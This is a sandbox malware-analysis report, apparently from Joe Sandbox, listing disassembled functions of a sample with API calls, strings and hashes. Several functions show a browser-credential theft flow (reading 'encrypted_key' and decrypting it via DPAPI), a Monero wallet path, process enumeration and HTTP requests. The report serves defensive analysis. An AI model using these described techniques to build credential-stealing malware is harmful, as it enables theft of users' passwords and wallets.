Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: ac45310146da3ec72a164cfacf5e6e6e8c55a611d9e8e751d37ae596f242ed01
Instruction ID: 59bae21e6e1cf511efedd76b40d7ec00a1a4a52d14e402f063a979933d5786cd
Opcode Fuzzy Hash: ac45310146da3ec72a164cfacf5e6e6e8c55a611d9e8e751d37ae596f242ed01
Instruction Fuzzy Hash: F0512DB5D1010CABCB44FBE0DC92DFD737AAF54340F40852CFA1A66191EE746A09CBA6

Function 006F70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

so, xrefs: 006F72AE, 006F7179, 006F717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 006F718C
so, xrefs: 006F7111

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: so$so$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-384899061
Opcode ID: cf569f4ed200222ab1192966b648ea95b3b7589d55ae01b544172c0e272b6341
Instruction ID: 39b586191371bafc3ec3483be30ed178f8bda49f19ea705cd6aa01b0692d281e
Opcode Fuzzy Hash: cf569f4ed200222ab1192966b648ea95b3b7589d55ae01b544172c0e272b6341
Instruction Fuzzy Hash: 01516DB1C0420C9BDB54EB90DC85BFEB376AF44304F1441ACE61966281EB746F89CF58

Function 006E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006E99EC
Part of subcall function 006E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006E9A11
Part of subcall function 006E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006E9A31
Part of subcall function 006E99C0: ReadFile.KERNEL32(000000FF,?,00000000,006E148F,00000000), ref: 006E9A5A
Part of subcall function 006E99C0: LocalFree.KERNEL32(006E148F), ref: 006E9A90
Part of subcall function 006E99C0: CloseHandle.KERNEL32(000000FF), ref: 006E9A9A

Part of subcall function 006F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006E9D39

Part of subcall function 006E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nn,00000000,00000000), ref: 006E9AEF
Part of subcall function 006E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006E4EEE,00000000,?), ref: 006E9B01
Part of subcall function 006E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nn,00000000,00000000), ref: 006E9B2A
Part of subcall function 006E9AC0: LocalFree.KERNEL32(?,?,?,?,006E4EEE,00000000,?), ref: 006E9B3F

Part of subcall function 006E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006E9B84
Part of subcall function 006E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 006E9BA3
Part of subcall function 006E9B60: LocalFree.KERNEL32(?), ref: 006E9BD3

Strings

, xrefs: 006E9DC1
"encrypted_key":", xrefs: 006E9D30
DPAPI, xrefs: 006E9D89

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9b1501b15b184e5001ce87660281b9404b824721e1b3a973860202cb91a08bb1
Instruction ID: 866dc5ab33e32a957b48184fe3f244242f21b63659634765269d93be5741f54f
Opcode Fuzzy Hash: 9b1501b15b184e5001ce87660281b9404b824721e1b3a973860202cb91a08bb1
Instruction Fuzzy Hash: 06315EB6D11209ABCF04DBE5DC85AEFB7B9BF48304F144518EA05A7241EB349A04CBA5

Function 006F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007005B7), ref: 006F86CA
Process32First.KERNEL32(?,00000128), ref: 006F86DE
Process32Next.KERNEL32(?,00000128), ref: 006F86F3

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

CloseHandle.KERNEL32(?), ref: 006F8761

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 7dcad715d9ef3a493b85bdf9a4d764a0edffd294859e16f9cf1d2c7df63e50f2
Instruction ID: 6469c4dcc6f9d666eaa4c79301e7e7a2df0c8c180a69488ad2fe2c0cfd9a3272
Opcode Fuzzy Hash: 7dcad715d9ef3a493b85bdf9a4d764a0edffd294859e16f9cf1d2c7df63e50f2
Instruction Fuzzy Hash: CC316DB191121CEBCB64EF94CC45FEEB779EB44740F1041ADE20EA61A0DB706A45CFA5

Function 006F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01658800,?,0070110C,?,00000000,?,00701110,?,00000000,00700AEF), ref: 006F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006F6AE8
CloseHandle.KERNEL32(00000000), ref: 006F6AF9
Sleep.KERNEL32(00001770), ref: 006F6B04
CloseHandle.KERNEL32(?,00000000,?,01658800,?,0070110C,?,00000000,?,00701110,?,00000000,00700AEF), ref: 006F6B1A
ExitProcess.KERNEL32 ref: 006F6B22

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: f8387ffc33e1364a2e509e7082c1cf8491ddacd84e43a7eb673132447c0794f3
Instruction ID: 2c1092b67c7339e00571ef5af673e975a4e1f5858843eaedbea2a2510be2c706
Opcode Fuzzy Hash: f8387ffc33e1364a2e509e7082c1cf8491ddacd84e43a7eb673132447c0794f3
Instruction Fuzzy Hash: FAF0827194420DAFE750ABA0DD0ABBD7B36FF04701F104518FB03E11C1CBB05542E65A

Function 006E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

Strings

<, xrefs: 006E47C9

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d048fe4cc46446d3fc1ca56bb7aba55a8be1f296a70a7e4cbe8c2112c5b6d89f
Instruction ID: 8e09798956a931fa2c871f3c2db0440fa8b3161314dba938dae574d9600ba62f
Opcode Fuzzy Hash: d048fe4cc46446d3fc1ca56bb7aba55a8be1f296a70a7e4cbe8c2112c5b6d89f
Instruction Fuzzy Hash: 9A2162B1D00209ABDF10DF95EC45ADE7775FB04320F008629F915A72D1EB70660ACF81

Function 006F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E6280: InternetOpenA.WININET(00700DFE,00000001,00000000,00000000,00000000), ref: 006E62E1
Part of subcall function 006E6280: StrCmpCA.SHLWAPI(?,0165E510), ref: 006E6303
Part of subcall function 006E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006E6335
Part of subcall function 006E6280: HttpOpenRequestA.WININET(00000000,GET,?,0165DCD0,00000000,00000000,00400100,00000000), ref: 006E6385
Part of subcall function 006E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006E63BF
Part of subcall function 006E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006F5228

Strings

ERROR, xrefs: 006F5273
ERROR, xrefs: 006F521A

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ee60d0052a91842aa77f74d5d4bf69e5b393bf9784bd3790ba279279a12335c3
Instruction ID: bf6e541310ed60abb346297578b1781a283a00ca4855875529aaba79737868da
Opcode Fuzzy Hash: ee60d0052a91842aa77f74d5d4bf69e5b393bf9784bd3790ba279279a12335c3
Instruction Fuzzy Hash: FF111FB091014CABCB54FFA0DD52AFD737AAF50340F80815CFA1E4A592EF74AB06C695

Function 006F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

lstrcat.KERNEL32(?,00000000), ref: 006F4F7A
lstrcat.KERNEL32(?,00701070), ref: 006F4F97
lstrcat.KERNEL32(?,01658AB0), ref: 006F4FAB
lstrcat.KERNEL32(?,00701074), ref: 006F4FBD

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F492C
Part of subcall function 006F4910: FindFirstFileA.KERNEL32(?,?), ref: 006F4943

Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FDC), ref: 006F4971
Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FE0), ref: 006F4987
Part of subcall function 006F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006F4B7D
Part of subcall function 006F4910: FindClose.KERNEL32(000000FF), ref: 006F4B92

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
